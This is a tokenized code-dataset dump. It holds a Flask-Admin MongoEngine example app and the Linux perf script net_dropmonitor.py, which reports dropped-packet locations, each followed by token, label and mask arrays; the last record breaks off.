db.ReferenceField(Tag) class Post(db.Document): name = db.StringField(max_length=20, required=True) value = db.StringField(max_length=20) inner = db.ListField(db.EmbeddedDocumentField(Comment)) lols = db.ListField(db.StringField(max_length=20)) class File(db.Document): name = db.StringField(max_length=20) data = db.FileField() class Image(db.Document): name = db.StringField(max_length=20) image = db.ImageField(thumbnail_size=(100, 100, True)) # Customized admin views class UserView(ModelView): column_filters = ['name'] column_searchable_list = ('name', 'password') form_ajax_refs = { 'tags': { 'fields': ('name',) } } class TodoView(ModelView): column_filters = ['done'] form_ajax_refs = { 'user': { 'fields': ['name'] } } class PostView(ModelView): form_subdocuments = { 'inner': { 'form_subdocuments': { None: { # Add <hr> at the end of the form 'form_rules': ('name', 'tag', 'value', rules.HTML('<hr>')), 'form_widget_args': { 'name': { 'style': 'color: red' } } } } } } # Flask views @app.route('/') def index(): return '<a href="/admin/">Click me to get to Admin!</a>' if __name__ == '__main__': # Create admin admin = admin.Admin(app, 'Example: MongoEngine') # Add views admin.add_view(UserView(User)) admin.add_view(TodoView(Todo)) admin.add_view(ModelView(Tag)) admin.add_view(PostView(Post)) admin.add_view(ModelView(File)) admin.add_view(ModelView(Image)) # Start app app.run(debug=True)
bsd-3-clause
[ 646, 2197, 199, 199, 504, 7209, 492, 16704, 199, 199, 646, 7209, 63, 2113, 465, 4628, 199, 504, 7209, 63, 9217, 3908, 492, 13503, 8524, 199, 504, 7209, 63, 2113, 14, 964, 492, 4713, 199, 504, 7209, 63, 2113, 14, 2828, 14, 9217, 3908, 492, 5822, 2768, 199, 199, 3, 2790, 4223, 199, 571, 275, 16704, 3460, 354, 3368, 199, 199, 3, 2790, 7283, 542, 1353, 89, 790, 880, 781, 883, 675, 12184, 199, 571, 14, 888, 459, 12961, 63, 3078, 418, 275, 283, 19060, 22252, 7, 199, 571, 14, 888, 459, 45, 26477, 2846, 63, 13931, 418, 275, 791, 2846, 356, 283, 4776, 936, 199, 199, 3, 2790, 1709, 199, 697, 275, 13503, 8524, 342, 199, 697, 14, 826, 63, 571, 8, 571, 9, 421, 199, 3, 13930, 18006, 3908, 8247, 199, 533, 2876, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 2167, 9, 272, 3762, 275, 1592, 14, 1296, 792, 8, 697, 14, 5083, 792, 360, 1931, 1333, 272, 2505, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 2167, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 377, 19657, 8, 697, 14, 5564, 304, 272, 2538, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 2259, 9, 272, 1318, 275, 1592, 14, 14912, 342, 272, 4224, 275, 1592, 14, 5036, 8, 885, 29, 797, 9, 272, 7974, 63, 602, 275, 1592, 14, 4626, 8, 885, 29, 2083, 14, 2083, 14, 2131, 9, 272, 922, 275, 1592, 14, 5083, 792, 8, 1899, 12, 1415, 29, 797, 9, 339, 327, 11105, 367, 4628, 25124, 3217, 272, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 533, 8053, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 709, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 6819, 8, 697, 14, 27395, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 12, 1415, 29, 549, 9, 272, 574, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 9, 272, 1947, 275, 1592, 14, 5083, 792, 8, 1931, 9, 421, 199, 533, 7711, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 12, 1415, 29, 549, 9, 272, 574, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 9, 272, 6506, 275, 1592, 14, 1296, 792, 8, 697, 14, 27395, 5564, 792, 8, 7488, 430, 272, 560, 478, 275, 1592, 14, 1296, 792, 8, 697, 14, 14912, 8, 988, 63, 1267, 29, 1165, 430, 421, 199, 533, 3814, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 9, 272, 666, 275, 1592, 14, 23252, 342, 421, 199, 533, 6047, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 9, 272, 1834, 275, 1592, 14, 21910, 8, 8311, 63, 890, 2687, 1960, 12, 2948, 12, 715, 430, 421, 199, 3, 8388, 1759, 4628, 6858, 199, 533, 2876, 2768, 8, 1685, 2768, 304, 272, 2763, 63, 4273, 275, 788, 354, 418, 339, 2763, 63, 1733, 461, 63, 513, 275, 661, 354, 297, 283, 2060, 358, 339, 1824, 63, 12774, 63, 7655, 275, 469, 267, 283, 2969, 356, 469, 288, 283, 955, 356, 661, 354, 9538, 267, 789, 272, 789, 421, 199, 533, 377, 19657, 2768, 8, 1685, 2768, 304, 272, 2763, 63, 4273, 275, 788, 4456, 418, 339, 1824, 63, 12774, 63, 7655, 275, 469, 267, 283, 751, 356, 469, 288, 283, 955, 356, 788, 354, 418, 267, 789, 272, 789, 421, 199, 533, 7711, 2768, 8, 1685, 2768, 304, 272, 1824, 63, 954, 12233, 275, 469, 267, 283, 5216, 356, 469, 288, 283, 964, 63, 954, 12233, 356, 469, 355, 488, 26, 469, 490, 327, 2654, 665, 6271, 30, 737, 314, 1284, 402, 314, 1824, 490, 283, 964, 63, 4423, 356, 661, 354, 297, 283, 1450, 297, 283, 585, 297, 4713, 14, 4943, 4827, 6271, 30, 3855, 490, 283, 964, 63, 3440, 63, 589, 356, 469, 717, 283, 354, 356, 469, 1169, 283, 2487, 356, 283, 2326, 26, 8992, 7, 717, 789, 490, 789, 355, 789, 288, 789, 267, 789, 272, 789, 199, 199, 3, 16704, 6858, 199, 32, 571, 14, 4449, 7825, 199, 318, 1478, 837, 272, 372, 2650, 65, 4369, 9555, 2113, 26049, 12040, 562, 370, 664, 370, 9516, 28718, 65, 3524, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 327, 2790, 4628, 272, 4628, 275, 4628, 14, 4880, 8, 571, 12, 283, 9846, 26, 13503, 8524, 358, 339, 327, 2654, 6858, 272, 4628, 14, 525, 63, 1345, 8, 1899, 2768, 8, 1899, 430, 272, 4628, 14, 525, 63, 1345, 8, 52, 19657, 2768, 8, 52, 19657, 430, 272, 4628, 14, 525, 63, 1345, 8, 1685, 2768, 8, 1931, 430, 272, 4628, 14, 525, 63, 1345, 8, 6564, 2768, 8, 6564, 430, 272, 4628, 14, 525, 63, 1345, 8, 1685, 2768, 8, 1173, 430, 272, 4628, 14, 525, 63, 1345, 8, 1685, 2768, 8, 3491, 430, 339, 327, 7707, 1145, 272, 1145, 14, 1065, 8, 1757, 29, 549, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2197, 199, 199, 504, 7209, 492, 16704, 199, 199, 646, 7209, 63, 2113, 465, 4628, 199, 504, 7209, 63, 9217, 3908, 492, 13503, 8524, 199, 504, 7209, 63, 2113, 14, 964, 492, 4713, 199, 504, 7209, 63, 2113, 14, 2828, 14, 9217, 3908, 492, 5822, 2768, 199, 199, 3, 2790, 4223, 199, 571, 275, 16704, 3460, 354, 3368, 199, 199, 3, 2790, 7283, 542, 1353, 89, 790, 880, 781, 883, 675, 12184, 199, 571, 14, 888, 459, 12961, 63, 3078, 418, 275, 283, 19060, 22252, 7, 199, 571, 14, 888, 459, 45, 26477, 2846, 63, 13931, 418, 275, 791, 2846, 356, 283, 4776, 936, 199, 199, 3, 2790, 1709, 199, 697, 275, 13503, 8524, 342, 199, 697, 14, 826, 63, 571, 8, 571, 9, 421, 199, 3, 13930, 18006, 3908, 8247, 199, 533, 2876, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 2167, 9, 272, 3762, 275, 1592, 14, 1296, 792, 8, 697, 14, 5083, 792, 360, 1931, 1333, 272, 2505, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 2167, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 377, 19657, 8, 697, 14, 5564, 304, 272, 2538, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 2259, 9, 272, 1318, 275, 1592, 14, 14912, 342, 272, 4224, 275, 1592, 14, 5036, 8, 885, 29, 797, 9, 272, 7974, 63, 602, 275, 1592, 14, 4626, 8, 885, 29, 2083, 14, 2083, 14, 2131, 9, 272, 922, 275, 1592, 14, 5083, 792, 8, 1899, 12, 1415, 29, 797, 9, 339, 327, 11105, 367, 4628, 25124, 3217, 272, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 533, 8053, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 709, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 6819, 8, 697, 14, 27395, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 12, 1415, 29, 549, 9, 272, 574, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 9, 272, 1947, 275, 1592, 14, 5083, 792, 8, 1931, 9, 421, 199, 533, 7711, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 12, 1415, 29, 549, 9, 272, 574, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 9, 272, 6506, 275, 1592, 14, 1296, 792, 8, 697, 14, 27395, 5564, 792, 8, 7488, 430, 272, 560, 478, 275, 1592, 14, 1296, 792, 8, 697, 14, 14912, 8, 988, 63, 1267, 29, 1165, 430, 421, 199, 533, 3814, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 9, 272, 666, 275, 1592, 14, 23252, 342, 421, 199, 533, 6047, 8, 697, 14, 5564, 304, 272, 536, 275, 1592, 14, 14912, 8, 988, 63, 1267, 29, 1165, 9, 272, 1834, 275, 1592, 14, 21910, 8, 8311, 63, 890, 2687, 1960, 12, 2948, 12, 715, 430, 421, 199, 3, 8388, 1759, 4628, 6858, 199, 533, 2876, 2768, 8, 1685, 2768, 304, 272, 2763, 63, 4273, 275, 788, 354, 418, 339, 2763, 63, 1733, 461, 63, 513, 275, 661, 354, 297, 283, 2060, 358, 339, 1824, 63, 12774, 63, 7655, 275, 469, 267, 283, 2969, 356, 469, 288, 283, 955, 356, 661, 354, 9538, 267, 789, 272, 789, 421, 199, 533, 377, 19657, 2768, 8, 1685, 2768, 304, 272, 2763, 63, 4273, 275, 788, 4456, 418, 339, 1824, 63, 12774, 63, 7655, 275, 469, 267, 283, 751, 356, 469, 288, 283, 955, 356, 788, 354, 418, 267, 789, 272, 789, 421, 199, 533, 7711, 2768, 8, 1685, 2768, 304, 272, 1824, 63, 954, 12233, 275, 469, 267, 283, 5216, 356, 469, 288, 283, 964, 63, 954, 12233, 356, 469, 355, 488, 26, 469, 490, 327, 2654, 665, 6271, 30, 737, 314, 1284, 402, 314, 1824, 490, 283, 964, 63, 4423, 356, 661, 354, 297, 283, 1450, 297, 283, 585, 297, 4713, 14, 4943, 4827, 6271, 30, 3855, 490, 283, 964, 63, 3440, 63, 589, 356, 469, 717, 283, 354, 356, 469, 1169, 283, 2487, 356, 283, 2326, 26, 8992, 7, 717, 789, 490, 789, 355, 789, 288, 789, 267, 789, 272, 789, 199, 199, 3, 16704, 6858, 199, 32, 571, 14, 4449, 7825, 199, 318, 1478, 837, 272, 372, 2650, 65, 4369, 9555, 2113, 26049, 12040, 562, 370, 664, 370, 9516, 28718, 65, 3524, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 327, 2790, 4628, 272, 4628, 275, 4628, 14, 4880, 8, 571, 12, 283, 9846, 26, 13503, 8524, 358, 339, 327, 2654, 6858, 272, 4628, 14, 525, 63, 1345, 8, 1899, 2768, 8, 1899, 430, 272, 4628, 14, 525, 63, 1345, 8, 52, 19657, 2768, 8, 52, 19657, 430, 272, 4628, 14, 525, 63, 1345, 8, 1685, 2768, 8, 1931, 430, 272, 4628, 14, 525, 63, 1345, 8, 6564, 2768, 8, 6564, 430, 272, 4628, 14, 525, 63, 1345, 8, 1685, 2768, 8, 1173, 430, 272, 4628, 14, 525, 63, 1345, 8, 1685, 2768, 8, 3491, 430, 339, 327, 7707, 1145, 272, 1145, 14, 1065, 8, 1757, 29, 549, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
thaskell1/linux
tools/perf/scripts/python/net_dropmonitor.py
1812
1749
# Monitor the system for dropped packets and proudce a report of drop locations and counts import os import sys sys.path.append(os.environ['PERF_EXEC_PATH'] + \ '/scripts/python/Perf-Trace-Util/lib/Perf/Trace') from perf_trace_context import * from Core import * from Util import * drop_log = {} kallsyms = [] def get_kallsyms_table(): global kallsyms try: f = open("/proc/kallsyms", "r") except: return for line in f: loc = int(line.split()[0], 16) name = line.split()[2] kallsyms.append((loc, name)) kallsyms.sort() def get_sym(sloc): loc = int(sloc) # Invariant: kallsyms[i][0] <= loc for all 0 <= i <= start # kallsyms[i][0] > loc for all end <= i < len(kallsyms) start, end = -1, len(kallsyms) while end != start + 1: pivot = (start + end) // 2 if loc < kallsyms[pivot][0]: end = pivot else: start = pivot # Now (start == -1 or kallsyms[start][0] <= loc) # and (start == len(kallsyms) - 1 or loc < kallsyms[start + 1][0]) if start >= 0: symloc, name = kallsyms[start] return (name, loc - symloc) else: return (None, 0) def print_drop_table(): print "%25s %25s %25s" % ("LOCATION", "OFFSET", "COUNT") for i in drop_log.keys(): (sym, off) = get_sym(i) if sym == None: sym = i print "%25s %25s %25s" % (sym, off, drop_log[i]) def trace_begin(): print "Starting trace (Ctrl-C to dump results)" def trace_end(): print "Gathering kallsyms data" get_kallsyms_table() print_drop_table() # called from perf, when it finds a correspoinding event def skb__kfree_skb(name, context, cpu, sec, nsec, pid, comm, callchain, skbaddr, location, protocol): slocation = str(location) try: drop_log[slocation] = drop_log[slocation] + 1 except: drop_log[slocation] = 1
gpl-2.0
[ 3, 26504, 314, 2656, 367, 17481, 14593, 436, 557, 1181, 301, 282, 3622, 402, 5978, 9918, 436, 8242, 199, 199, 646, 747, 199, 646, 984, 199, 199, 1274, 14, 515, 14, 740, 8, 736, 14, 2314, 459, 17038, 63, 10276, 63, 3243, 418, 435, 971, 507, 198, 9807, 6429, 15, 1548, 15, 12387, 13, 3921, 13, 9562, 15, 773, 15, 12387, 15, 3921, 358, 199, 199, 504, 8582, 63, 3446, 63, 1100, 492, 627, 199, 504, 11672, 492, 627, 199, 504, 21248, 492, 627, 199, 199, 4824, 63, 793, 275, 1052, 199, 32483, 275, 942, 199, 199, 318, 664, 63, 32483, 63, 1224, 837, 199, 198, 2966, 1022, 452, 13807, 421, 198, 893, 26, 507, 198, 70, 275, 1551, 4769, 4687, 15, 32483, 401, 298, 82, 531, 199, 198, 2590, 26, 507, 198, 1107, 421, 198, 509, 1004, 315, 289, 26, 507, 198, 2102, 275, 1109, 8, 604, 14, 1294, 3430, 16, 467, 3193, 9, 507, 198, 354, 275, 1004, 14, 1294, 3430, 18, 61, 507, 198, 32483, 14, 740, 1332, 2102, 12, 536, 430, 199, 198, 32483, 14, 3191, 342, 199, 199, 318, 664, 63, 3840, 8, 83, 2102, 304, 199, 198, 2102, 275, 1109, 8, 83, 2102, 9, 421, 198, 3, 1010, 8759, 26, 1022, 452, 13807, 59, 73, 1527, 16, 61, 2695, 4355, 367, 1006, 378, 2695, 284, 2695, 1343, 199, 198, 3, 3322, 1022, 452, 13807, 59, 73, 1527, 16, 61, 690, 4355, 367, 1006, 1284, 2695, 284, 665, 822, 8, 32483, 9, 199, 198, 928, 12, 1284, 275, 446, 17, 12, 822, 8, 32483, 9, 199, 198, 6710, 1284, 1137, 1343, 435, 413, 26, 507, 198, 21558, 275, 334, 928, 435, 1284, 9, 5001, 499, 507, 198, 692, 4355, 665, 1022, 452, 13807, 59, 21558, 1527, 16, 2189, 686, 198, 500, 275, 22292, 507, 198, 2836, 26, 686, 198, 928, 275, 22292, 421, 198, 3, 7356, 334, 928, 508, 446, 17, 503, 1022, 452, 13807, 59, 928, 1527, 16, 61, 2695, 4355, 9, 199, 198, 3, 436, 334, 928, 508, 822, 8, 32483, 9, 446, 413, 503, 4355, 665, 1022, 452, 13807, 59, 928, 435, 413, 1527, 16, 566, 199, 198, 692, 1343, 2356, 378, 26, 507, 198, 3840, 2102, 12, 536, 275, 1022, 452, 13807, 59, 928, 61, 507, 198, 1107, 334, 354, 12, 4355, 446, 4678, 2102, 9, 199, 198, 2836, 26, 507, 198, 1107, 334, 403, 12, 378, 9, 199, 199, 318, 870, 63, 4824, 63, 1224, 837, 199, 198, 1361, 2071, 821, 83, 450, 821, 83, 450, 821, 83, 2, 450, 1689, 16575, 401, 298, 14839, 401, 298, 8760, 531, 199, 198, 509, 284, 315, 5978, 63, 793, 14, 1612, 837, 507, 198, 8, 3840, 12, 2331, 9, 275, 664, 63, 3840, 8, 73, 9, 507, 198, 692, 4678, 508, 488, 26, 686, 198, 3840, 275, 284, 507, 198, 1361, 2071, 821, 83, 450, 821, 83, 450, 821, 83, 2, 450, 334, 3840, 12, 2331, 12, 5978, 63, 793, 59, 73, 566, 421, 199, 318, 3307, 63, 5037, 837, 199, 198, 1361, 298, 14139, 3307, 334, 9778, 13, 35, 370, 5461, 2058, 2924, 199, 199, 318, 3307, 63, 500, 837, 199, 198, 1361, 298, 39, 7404, 316, 1022, 452, 13807, 666, 2, 199, 198, 362, 63, 32483, 63, 1224, 342, 199, 198, 1361, 63, 4824, 63, 1224, 342, 199, 199, 3, 2797, 687, 8582, 12, 1380, 652, 17651, 282, 1970, 470, 555, 688, 316, 1566, 199, 318, 11448, 363, 22197, 63, 6852, 8, 354, 12, 1067, 12, 5033, 12, 6513, 12, 14256, 12, 4422, 12, 1923, 12, 1240, 4429, 12, 686, 257, 23202, 12, 2909, 12, 4113, 304, 199, 198, 83, 1985, 275, 620, 8, 1985, 9, 199, 198, 893, 26, 507, 198, 4824, 63, 793, 59, 83, 1985, 61, 275, 5978, 63, 793, 59, 83, 1985, 61, 435, 413, 199, 198, 2590, 26, 507, 198, 4824, 63, 793, 59, 83, 1985, 61, 275, 413, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 26504, 314, 2656, 367, 17481, 14593, 436, 557, 1181, 301, 282, 3622, 402, 5978, 9918, 436, 8242, 199, 199, 646, 747, 199, 646, 984, 199, 199, 1274, 14, 515, 14, 740, 8, 736, 14, 2314, 459, 17038, 63, 10276, 63, 3243, 418, 435, 971, 507, 198, 9807, 6429, 15, 1548, 15, 12387, 13, 3921, 13, 9562, 15, 773, 15, 12387, 15, 3921, 358, 199, 199, 504, 8582, 63, 3446, 63, 1100, 492, 627, 199, 504, 11672, 492, 627, 199, 504, 21248, 492, 627, 199, 199, 4824, 63, 793, 275, 1052, 199, 32483, 275, 942, 199, 199, 318, 664, 63, 32483, 63, 1224, 837, 199, 198, 2966, 1022, 452, 13807, 421, 198, 893, 26, 507, 198, 70, 275, 1551, 4769, 4687, 15, 32483, 401, 298, 82, 531, 199, 198, 2590, 26, 507, 198, 1107, 421, 198, 509, 1004, 315, 289, 26, 507, 198, 2102, 275, 1109, 8, 604, 14, 1294, 3430, 16, 467, 3193, 9, 507, 198, 354, 275, 1004, 14, 1294, 3430, 18, 61, 507, 198, 32483, 14, 740, 1332, 2102, 12, 536, 430, 199, 198, 32483, 14, 3191, 342, 199, 199, 318, 664, 63, 3840, 8, 83, 2102, 304, 199, 198, 2102, 275, 1109, 8, 83, 2102, 9, 421, 198, 3, 1010, 8759, 26, 1022, 452, 13807, 59, 73, 1527, 16, 61, 2695, 4355, 367, 1006, 378, 2695, 284, 2695, 1343, 199, 198, 3, 3322, 1022, 452, 13807, 59, 73, 1527, 16, 61, 690, 4355, 367, 1006, 1284, 2695, 284, 665, 822, 8, 32483, 9, 199, 198, 928, 12, 1284, 275, 446, 17, 12, 822, 8, 32483, 9, 199, 198, 6710, 1284, 1137, 1343, 435, 413, 26, 507, 198, 21558, 275, 334, 928, 435, 1284, 9, 5001, 499, 507, 198, 692, 4355, 665, 1022, 452, 13807, 59, 21558, 1527, 16, 2189, 686, 198, 500, 275, 22292, 507, 198, 2836, 26, 686, 198, 928, 275, 22292, 421, 198, 3, 7356, 334, 928, 508, 446, 17, 503, 1022, 452, 13807, 59, 928, 1527, 16, 61, 2695, 4355, 9, 199, 198, 3, 436, 334, 928, 508, 822, 8, 32483, 9, 446, 413, 503, 4355, 665, 1022, 452, 13807, 59, 928, 435, 413, 1527, 16, 566, 199, 198, 692, 1343, 2356, 378, 26, 507, 198, 3840, 2102, 12, 536, 275, 1022, 452, 13807, 59, 928, 61, 507, 198, 1107, 334, 354, 12, 4355, 446, 4678, 2102, 9, 199, 198, 2836, 26, 507, 198, 1107, 334, 403, 12, 378, 9, 199, 199, 318, 870, 63, 4824, 63, 1224, 837, 199, 198, 1361, 2071, 821, 83, 450, 821, 83, 450, 821, 83, 2, 450, 1689, 16575, 401, 298, 14839, 401, 298, 8760, 531, 199, 198, 509, 284, 315, 5978, 63, 793, 14, 1612, 837, 507, 198, 8, 3840, 12, 2331, 9, 275, 664, 63, 3840, 8, 73, 9, 507, 198, 692, 4678, 508, 488, 26, 686, 198, 3840, 275, 284, 507, 198, 1361, 2071, 821, 83, 450, 821, 83, 450, 821, 83, 2, 450, 334, 3840, 12, 2331, 12, 5978, 63, 793, 59, 73, 566, 421, 199, 318, 3307, 63, 5037, 837, 199, 198, 1361, 298, 14139, 3307, 334, 9778, 13, 35, 370, 5461, 2058, 2924, 199, 199, 318, 3307, 63, 500, 837, 199, 198, 1361, 298, 39, 7404, 316, 1022, 452, 13807, 666, 2, 199, 198, 362, 63, 32483, 63, 1224, 342, 199, 198, 1361, 63, 4824, 63, 1224, 342, 199, 199, 3, 2797, 687, 8582, 12, 1380, 652, 17651, 282, 1970, 470, 555, 688, 316, 1566, 199, 318, 11448, 363, 22197, 63, 6852, 8, 354, 12, 1067, 12, 